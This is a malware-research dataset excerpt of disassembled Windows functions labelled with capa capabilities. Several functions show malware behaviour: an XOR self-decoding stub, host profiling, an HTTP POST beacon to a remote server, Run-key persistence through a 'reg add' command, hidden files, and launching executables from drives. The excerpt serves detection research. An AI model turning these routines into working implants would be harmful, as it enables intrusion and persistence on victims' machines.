joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000c730
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
cmp dword [esi], 0xffffffff
je 0x1000c74c
mov byte [esi + 0x2c], 1
mov dword [esi + 0x30], 6
xor eax, eax
pop esi
pop ebp
ret
push edi
mov edi, dword [ebp + 0xc]
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x1000c79b
mov eax, edi
mov byte [esi + 0x2c], 1
mov dword [esi + 0x30], 5
lea edx, [eax + 1]
jmp 0x1000c770
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1000c770
push edi
sub eax, edx
push str.Unknown_host__s.
add eax, 0x13
push eax
push esi
call fcn.1000bd80
add esp, 8
push eax
call fcn.10012fca
add esp, 0xc
pop edi
xor eax, eax
pop esi
pop ebp
ret
mov ecx, dword [ebp + 0x10]
cmp cx, 1
jae 0x1000c7d2
movzx eax, cx
push eax
push str.Invalid_port_number_encountered:__d.
push 0x30
push esi
mov byte [esi + 0x2c], 1
mov dword [esi + 0x30], 4
call fcn.1000bd80
add esp, 8
push eax
call fcn.10012fca
add esp, 0xc
pop edi
xor eax, eax
pop esi
pop ebp
ret
push ecx
push eax
lea ecx, [esi + 4]
push ecx
call fcn.1000bc70
mov edx, dword [ebp + 0x18]
mov eax, dword [ebp + 0x14]
push edx
push eax
lea ecx, [esi + 0x14]
push ecx
call fcn.1000bc20
push esi
call fcn.1000c5f0
add esp, 0x1c
pop edi
pop esi
pop ebp
ret

Function at 0x1000e7a0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
cmp dword [esi + 0x20], 2
jne 0x1000e7b3
mov eax, dword [esi]
mov edx, dword [eax + 0x1c]
call edx
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov edx, dword [esi + 4]
push eax
push ecx
push edx
mov dword [esi + 0x20], 1
call fcn.10020e47
add esp, 0xc
pop esi
pop ebp
ret 8

Function at 0x1000e9d0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
cmp dword [esi + 0x20], 2
jne 0x1000e9e3
mov eax, dword [esi]
mov edx, dword [eax + 0x1c]
call edx
mov eax, dword [esi + 0x24]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
push eax
push ecx
push 1
push edx
mov dword [esi + 0x20], 1
call fcn.100148fc
add esp, 0x10
pop esi
pop ebp
ret 8

Function at 0x1000ea10
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
cmp dword [esi + 0x20], 1
jne 0x1000ea23
mov eax, dword [esi]
mov edx, dword [eax + 0x1c]
call edx
mov eax, dword [esi + 0x24]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
push eax
push ecx
push 1
push edx
mov dword [esi + 0x20], 2
call fcn.10015570
add esp, 0x10
pop esi
pop ebp
ret 8
Function at 0x1000ee70
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002b83b
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x10038f80]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.10010bad
push 4
mov dword [ebp - 4], 0
call fcn.10012f4a
mov edi, eax
add esp, 4
test edi, edi
je 0x1000eef0
call fcn.100107c0
mov dword [edi], eax
call fcn.1001057f
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.100103b7
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x1000eee6
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.100103df
jmp 0x1000eef2
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10012061
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10038f80]
jne 0x1001206b
repz ret
jmp fcn.1001cad1
Function at 0x1002710b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10038f80]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.1001c434
and dword [ebp - 0x14], 0
cmp dword [0x1003b364], 0
mov dword [ebp - 0x18], eax
jne 0x100271be
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x10027266
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x10027266
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x1003b364], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x1003b368], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x1003b36c], eax
call edi
push eax
call esi
mov dword [0x1003b374], eax
test eax, eax
je 0x100271be
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x1003b370], eax
mov eax, dword [0x1003b370]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x10027217
cmp dword [0x1003b374], ecx
je 0x10027217
push eax
call esi
push dword [0x1003b374]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x10027217
test ebx, ebx
je 0x10027217
call edi
test eax, eax
je 0x1002720e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x1002720e
test byte [ebp - 8], 1
jne 0x10027217
or dword [ebp + 0x10], 0x200000
jmp 0x1002724a
mov eax, dword [0x1003b368]
cmp eax, dword [ebp - 0x18]
je 0x1002724a
push eax
call esi
test eax, eax
je 0x1002724a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x1002724a
mov eax, dword [0x1003b36c]
cmp eax, dword [ebp - 0x18]
je 0x1002724a
push eax
call esi
test eax, eax
je 0x1002724a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x1003b364]
call esi
test eax, eax
je 0x10027266
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x10027268
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10012061
leave
ret
Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..text
nop
mov ebx, 0x408ecc
nop
mov ecx, 0xaa114c
nop
nop
nop
nop
nop
test eax, eax
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x200e2743
test eax, eax
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43006c
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x401430
Capabilities:
Get hostname
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
mov esi, 0x100
push ebx
sub esp, 0xd3c
lea ebx, [ebp - 0xd1c]
call fcn.004028f0
mov dword [ebp - 0xd1c], esi
mov edi, eax
lea eax, [ebp - 0x518]
mov dword [esp + 4], ebx
mov dword [esp], eax
call sub.KERNEL32.dll_GetComputerNameA
sub esp, 8
mov dword [esp], 0x40805c
call sub.msvcrt.dll_getenv
mov dword [ebp - 0xd20], eax
mov dword [esp], str.PROCESSOR_ARCHITECTURE
call sub.msvcrt.dll_getenv
mov dword [ebp - 0xd24], eax
mov dword [esp], str.NUMBER_OF_PROCESSORS
call sub.msvcrt.dll_getenv
mov dword [esp], str.USERDOMAIN
mov esi, eax
call sub.msvcrt.dll_getenv
mov dword [esp], str.USERNAME
mov ebx, eax
call sub.msvcrt.dll_getenv
mov dword [esp + 8], eax
mov ecx, dword [ebp - 0xd20]
mov eax, str._s__s___s__s___s__processor_s_
mov dword [esp + 0xc], ebx
mov edx, dword [ebp - 0xd24]
lea ebx, [ebp - 0xd18]
mov dword [esp + 0x18], ecx
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], esi
lea esi, [ebp - 0x518]
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_sprintf
mov dword [esp + 0x18], ebx
xor ebx, ebx
mov ecx, 0x40100000
mov dword [esp + 0xc], ebx
mov edx, str.ftsri.php_reg
lea ebx, [ebp - 0x418]
mov dword [esp + 0x14], esi
mov eax, str._sver_fcomp_saddinfo_s
mov dword [esp + 0x10], ecx
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.msvcrt.dll_sprintf
jmp 0x40153f
mov dword [esp], 0xea60
call sub.KERNEL32.dll_Sleep
sub esp, 4
mov dword [esp + 4], ebx
xor ecx, ecx
mov edx, 1
mov dword [esp + 0xc], ecx
mov dword [esp + 8], edx
mov dword [esp], edi
call fcn.00402170
test al, al
je 0x401530
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x401c30
Capabilities:
Check if file exists
Create process on windows
Get disk information

Disassembly:
push ebp
mov ecx, 0x104
mov ebp, esp
push esi
lea esi, [ebp - 0x118]
push ebx
sub esp, 0x240
lea ebx, [ebp - 0x228]
mov dword [esp + 8], ecx
mov dword [esp + 4], esi
mov dword [esp], 0
call sub.KERNEL32.dll_GetModuleFileNameA
movsx edx, byte [ebp - 0x118]
sub esp, 0xc
mov eax, str._c:_
mov dword [esp + 4], eax
mov dword [esp], ebx
mov dword [esp + 8], edx
call sub.msvcrt.dll_sprintf
mov dword [esp], ebx
call sub.KERNEL32.dll_GetDriveTypeA
sub esp, 4
cmp eax, 2
je 0x401c96
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret
mov ecx, esi
nop
lea esi, [esi]
mov ebx, dword [ecx]
add ecx, 4
lea edx, [ebx - 0x1010101]
not ebx
and edx, ebx
mov eax, edx
and eax, 0x80808080
je 0x401ca0
and edx, 0x8080
jne 0x401cc6
shr eax, 0x10
add ecx, 2
add al, al
sbb ecx, 3
sub ecx, esi
cmp ecx, 3
jbe 0x401c8f
mov ecx, esi
lea esi, [esi]
lea edi, [edi]
mov eax, dword [ecx]
add ecx, 4
lea edx, [eax - 0x1010101]
not eax
and edx, eax
mov eax, edx
and eax, 0x80808080
je 0x401ce0
and edx, 0x8080
jne 0x401d06
shr eax, 0x10
add ecx, 2
add al, al
sbb ecx, 3
sub ecx, esi
xor edx, edx
mov byte [ecx + ebp - 0x11c], dl
mov dword [esp], esi
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
je 0x401c8f
mov dword [esp + 0xc], esi
mov eax, 1
mov ecx, str.explorer
mov dword [esp + 0x14], eax
xor ebx, ebx
mov esi, 0x40815e
mov dword [esp + 0x10], ebx
mov dword [esp + 8], ecx
mov dword [esp + 4], esi
mov dword [esp], 0
call sub.SHELL32.DLL_ShellExecuteA
sub esp, 0x18
jmp 0x401c8f
Function at 0x401d70
Capabilities:
Check if file exists
Create directory
Create process on windows
Delete file
Persist via run registry key
Set current directory
Set file attributes
Set registry value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x53c
call fcn.004025a0
mov dword [esp], eax
mov ebx, eax
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
je 0x401e90
mov dword [esp], ebx
call sub.KERNEL32.dll_SetCurrentDirectoryA
sub esp, 4
lea edi, [ebp - 0x128]
call fcn.00402690
mov dword [esp + 4], edi
mov ecx, 0x104
mov esi, eax
mov dword [esp + 8], ecx
mov dword [esp], 0
call sub.KERNEL32.dll_GetModuleFileNameA
sub esp, 0xc
mov dword [esp], esi
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
jne 0x401f13
mov dword [esp + 4], esi
xor eax, eax
mov ebx, str.HKCU
mov dword [esp + 8], eax
mov dword [esp], edi
call fcn.00402930
mov dword [esp], esi
mov ecx, 6
mov dword [esp + 4], ecx
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
mov dword [esp], esi
call fcn.00402a30
call fcn.00402810
mov dword [esp + 0x10], eax
mov edx, 0x408168
mov eax, str.add__s_s__v__s__t_REG_SZ__d___s___f
mov dword [esp + 8], ebx
lea ebx, [ebp - 0x528]
mov dword [esp + 0xc], edx
mov dword [esp], ebx
mov dword [esp + 0x14], esi
mov dword [esp + 4], eax
call sub.msvcrt.dll_sprintf
mov dword [esp + 0xc], ebx
xor ecx, ecx
mov edx, 0x4081bd
mov dword [esp + 0x14], ecx
mov eax, 0x40815e
mov ebx, 0x4081c5
mov dword [esp + 0x10], edx
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov dword [esp], 0
call sub.SHELL32.DLL_ShellExecuteA
sub esp, 0x18
mov dword [esp + 4], esi
mov dword [esp], edi
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x401ec0
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], ebx
mov esi, 6
call sub.msvcrt.dll__mkdir
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
mov dword [esp], ebx
call fcn.00402a30
jmp 0x401d97
mov dword [esp], esi
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
je 0x401e87
mov dword [esp + 8], esi
mov ecx, 5
mov edx, 0x4081bd
mov dword [esp + 0x14], ecx
mov ebx, 0x4081c9
mov edi, 0x40815e
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 4], edi
mov dword [esp], 0
call sub.SHELL32.DLL_ShellExecuteA
sub esp, 0x18
mov dword [esp], 0
call sub.msvcrt.dll_exit
mov dword [esp], esi
call sub.msvcrt.dll_remove
jmp 0x401ddf
Function at 0x401f20
Capabilities:
Check if file exists
Create directory
Create process on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x36c
call fcn.00402750
mov dword [esp], eax
mov edi, eax
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
je 0x402070
mov dword [esp + 8], edi
mov ecx, str._s
lea esi, [ebp - 0x128]
mov dword [esp + 4], ecx
mov dword [esp], esi
call sub.msvcrt.dll_sprintf
mov dword [esp], esi
lea eax, [ebp - 0x248]
mov dword [esp + 4], eax
call sub.msvcrt.dll__findfirst
test eax, eax
mov ebx, eax
je 0x402068
lea esi, [ebp - 0x234]
jmp 0x401fb1
lea edx, [ebp - 0x358]
mov dword [esp], edx
call sub.KERNEL32.dll_LoadLibraryA
sub esp, 4
mov dword [esp], ebx
lea eax, [ebp - 0x248]
mov dword [esp + 4], eax
call sub.msvcrt.dll__findnext
test eax, eax
jne 0x402060
mov dword [esp + 0xc], esi
mov ecx, 0x4081cf
lea eax, [ebp - 0x358]
mov dword [esp + 4], ecx
mov dword [esp + 8], edi
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
mov dword [esp], esi
mov edx, str..dll
mov dword [esp + 4], edx
call sub.msvcrt.dll_strstr
test eax, eax
jne 0x401f86
mov dword [esp], esi
mov eax, str..exe
mov dword [esp + 4], eax
call sub.msvcrt.dll_strstr
test eax, eax
je 0x401f97
mov dword [esp], 0
mov edx, 5
mov ecx, 0x4081bd
mov dword [esp + 0x14], edx
mov eax, 0x4081c9
lea edx, [ebp - 0x358]
mov dword [esp + 0x10], ecx
mov ecx, 0x40815e
mov dword [esp + 8], edx
mov dword [esp + 4], ecx
mov dword [esp + 0xc], eax
call sub.SHELL32.DLL_ShellExecuteA
sub esp, 0x18
lea eax, [ebp - 0x248]
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.msvcrt.dll__findnext
test eax, eax
je 0x401fb1
jmp 0x402060
mov dword [esp], ebx
call sub.msvcrt.dll__findclose
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], edi
mov ebx, 6
call sub.msvcrt.dll__mkdir
mov dword [esp + 4], ebx
mov dword [esp], edi
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
mov dword [esp], edi
call fcn.00402a30
jmp 0x401f47

Function at 0x4020a0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [esp], eax
call sub.msvcrt.dll_srand
call fcn.00401c30
call fcn.00401d70
call fcn.00401f20
mov dword [esp], 0
xor ecx, ecx
xor edx, edx
mov dword [esp + 0x14], ecx
xor eax, eax
mov ecx, 0x4019a0
mov dword [esp + 0x10], edx
xor edx, edx
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp + 0xc], eax
call sub.KERNEL32.dll_CreateThread
sub esp, 0x18
xor eax, eax
xor ecx, ecx
mov dword [esp + 0x14], eax
xor edx, edx
mov eax, 0x402c80
mov dword [esp + 0x10], ecx
xor ecx, ecx
mov dword [esp + 0xc], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp], 0
call sub.KERNEL32.dll_CreateThread
sub esp, 0x18
xor edx, edx
xor eax, eax
mov dword [esp + 0x14], edx
xor ecx, ecx
mov edx, 0x401290
mov dword [esp + 0x10], eax
xor eax, eax
mov dword [esp + 0xc], ecx
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], 0
call sub.KERNEL32.dll_CreateThread
sub esp, 0x18
call fcn.00401430
call fcn.00401640
leave
xor eax, eax
ret 0x10
Function at 0x402170
Capabilities:
Check internet connectivity via wininet
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x448
mov dword [ebp - 8], esi
mov esi, dword [ebp + 0x14]
mov dword [ebp - 0xc], ebx
mov dword [ebp - 4], edi
test esi, esi
movzx ebx, byte [ebp + 0x10]
je 0x402190
mov byte [esi], 0
xor edx, edx
xor ecx, ecx
lea eax, [ebp - 0x41c]
mov dword [ebp - 0x41c], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.WININET.DLL_InternetGetConnectedState
sub esp, 8
xor edx, edx
test eax, eax
jne 0x4021c4
mov ebx, dword [ebp - 0xc]
mov eax, edx
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
mov byte [ebp - 0x421], 0
xor ecx, ecx
xor edx, edx
mov dword [esp + 0x10], ecx
xor eax, eax
xor edi, edi
mov dword [esp + 4], edi
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp], str.fortis
call sub.WININET.DLL_InternetOpenA
sub esp, 0x14
test eax, eax
mov edi, eax
je 0x402357
xor ecx, ecx
mov eax, 1
mov edx, 3
mov dword [esp + 0x1c], eax
xor eax, eax
mov dword [esp + 0x18], ecx
xor ecx, ecx
mov dword [esp + 0x14], edx
mov edx, 0x50
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], ecx
mov dword [esp + 8], edx
mov eax, dword [ebp + 8]
mov dword [esp], edi
mov dword [esp + 4], eax
call sub.WININET.DLL_InternetConnectA
mov dword [ebp - 0x428], eax
sub esp, 0x20
test eax, eax
je 0x40234c
mov eax, 1
mov ecx, 0x400000
xor edx, edx
mov dword [esp + 0x1c], eax
xor eax, eax
mov dword [esp + 0x18], ecx
xor ecx, ecx
test bl, bl
mov dword [esp + 0x10], eax
mov eax, str.POST
mov dword [esp + 0x14], edx
mov dword [esp + 0xc], ecx
mov edx, dword [ebp + 0xc]
mov dword [esp + 8], edx
jne 0x402282
mov eax, 0x4081ec
mov dword [esp + 4], eax
mov ebx, dword [ebp - 0x428]
mov dword [esp], ebx
call sub.WININET.DLL_HttpOpenRequestA
sub esp, 0x20
test eax, eax
mov ebx, eax
je 0x40233b
mov dword [esp], ebx
xor edx, edx
xor eax, eax
mov dword [esp + 0x10], edx
xor ecx, ecx
xor edx, edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
call sub.WININET.DLL_HttpSendRequestA
sub esp, 0x14
test eax, eax
je 0x402330
mov byte [ebp - 0x421], 1
jmp 0x402322
mov dword [esp], ebx
lea edx, [ebp - 0x420]
mov eax, 0x3ff
mov dword [esp + 0xc], edx
lea ecx, [ebp - 0x418]
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
call sub.WININET.DLL_InternetReadFile
sub esp, 0x10
test eax, eax
je 0x402330
mov eax, dword [ebp - 0x420]
test eax, eax
je 0x402330
xor edx, edx
lea ecx, [ebp - 0x418]
mov byte [eax + ebp - 0x418], dl
mov dword [esp + 4], ecx
mov dword [esp], esi
call sub.msvcrt.dll_strcat
test esi, esi
jne 0x4022d1
lea esi, [esi]
lea edi, [edi]
mov dword [esp], ebx
call sub.WININET.DLL_InternetCloseHandle
sub esp, 4
mov esi, dword [ebp - 0x428]
mov dword [esp], esi
call sub.WININET.DLL_InternetCloseHandle
sub esp, 4
mov dword [esp], edi
call sub.WININET.DLL_InternetCloseHandle
sub esp, 4
movzx edx, byte [ebp - 0x421]
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
mov eax, edx
pop ebp
ret
Function at 0x4025a0
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push edi
xor edi, edi
push esi
push ebx
sub esp, 0x1c
xor esi, esi
lea esi, [esi]
mov dword [esp], 0x104
call fcn.00402de0
mov ebx, eax
mov eax, dword [edi*4 + 0x40709c]
mov dword [esp], eax
call sub.msvcrt.dll_getenv
mov ecx, dword [esi*4 + 0x407080]
mov edx, str._s_s
mov dword [esp + 8], eax
mov dword [esp + 4], edx
mov dword [esp + 0xc], ecx
mov dword [esp], ebx
call sub.msvcrt.dll_sprintf
mov dword [esp], ebx
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
jne 0x402678
test ebx, ebx
je 0x402609
mov dword [esp], ebx
call fcn.00402dd0
inc esi
cmp esi, 7
jl 0x4025b0
inc edi
cmp edi, 2
jl 0x4025ab
mov dword [esp], 0x104
mov ebx, 7
mov edi, 2
call fcn.00402de0
mov esi, eax
call sub.msvcrt.dll_rand
cdq
idiv ebx
mov ebx, edx
call sub.msvcrt.dll_rand
cdq
idiv edi
mov ecx, dword [edx*4 + 0x40709c]
mov dword [esp], ecx
call sub.msvcrt.dll_getenv
mov edi, dword [ebx*4 + 0x407080]
mov ebx, str._s_s
mov dword [esp + 4], ebx
mov dword [esp + 0xc], edi
mov dword [esp], esi
mov dword [esp + 8], eax
call sub.msvcrt.dll_sprintf
lea esp, [ebp - 0xc]
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret
lea esp, [ebp - 0xc]
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x402690
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, 8
push esi
xor esi, esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x104
call fcn.00402de0
mov ebx, eax
call fcn.004025a0
mov edx, dword [esi*4 + 0x407060]
mov dword [esp + 8], eax
mov eax, str._s_s
mov dword [esp + 0xc], edx
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.msvcrt.dll_sprintf
mov dword [esp], ebx
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
jne 0x40273c
test ebx, ebx
je 0x4026ef
mov dword [esp], ebx
call fcn.00402dd0
inc esi
cmp esi, 8
jl 0x4026a0
mov dword [esp], 0x104
call fcn.00402de0
mov esi, eax
call sub.msvcrt.dll_rand
cdq
idiv edi
mov ebx, edx
call fcn.004025a0
mov edi, dword [ebx*4 + 0x407060]
mov ecx, str._s_s
mov dword [esp], esi
mov dword [esp + 8], eax
mov dword [esp + 0xc], edi
mov dword [esp + 4], ecx
call sub.msvcrt.dll_sprintf
lea esp, [ebp - 0xc]
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret
lea esp, [ebp - 0xc]
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x402750
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, 7
push esi
xor esi, esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x104
call fcn.00402de0
mov ebx, eax
call fcn.004025a0
mov edx, dword [esi*4 + 0x40701c]
mov dword [esp + 8], eax
mov eax, str._s_s
mov dword [esp + 0xc], edx
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.msvcrt.dll_sprintf
mov dword [esp], ebx
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
jne 0x4027fc
test ebx, ebx
je 0x4027af
mov dword [esp], ebx
call fcn.00402dd0
inc esi
cmp esi, 7
jl 0x402760
mov dword [esp], 0x104
call fcn.00402de0
mov esi, eax
call sub.msvcrt.dll_rand
cdq
idiv edi
mov ebx, edx
call fcn.004025a0
mov edi, dword [ebx*4 + 0x40701c]
mov ecx, str._s_s
mov dword [esp], esi
mov dword [esp + 8], eax
mov dword [esp + 0xc], edi
mov dword [esp + 4], ecx
call sub.msvcrt.dll_sprintf
lea esp, [ebp - 0xc]
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret
lea esp, [ebp - 0xc]
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x402810
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, 8
push esi
lea esi, [ebp - 0x10]
push ebx
sub esp, 0x1c
xor ebx, ebx
jmp 0x40282f
inc ebx
cmp ebx, 8
jge 0x4028b0
mov dword [esp + 0x10], esi
xor edx, edx
mov ecx, 0x20019
mov dword [esp + 8], edx
mov eax, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp + 0xc], ecx
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyExA
mov edx, dword [ebp - 0x10]
sub esp, 0x14
test edx, edx
je 0x402825
xor eax, eax
xor ecx, ecx
mov dword [esp + 0x14], eax
xor eax, eax
mov dword [esp + 0x10], ecx
xor ecx, ecx
mov dword [esp + 0xc], eax
mov dword [esp + 8], ecx
mov eax, dword [ebx*4 + 0x407040]
mov dword [esp], edx
mov dword [esp + 4], eax
call sub.ADVAPI32.DLL_RegQueryValueExA
sub esp, 0x18
test eax, eax
je 0x4028c7
mov edx, dword [ebp - 0x10]
inc ebx
mov dword [esp], edx
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
cmp ebx, 8
jl 0x40282f
mov esi, esi
lea edi, [edi]
call sub.msvcrt.dll_rand
cdq
idiv edi
mov eax, dword [edx*4 + 0x407040]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov esi, dword [ebp - 0x10]
mov dword [esp], esi
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
mov eax, dword [ebx*4 + 0x407040]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret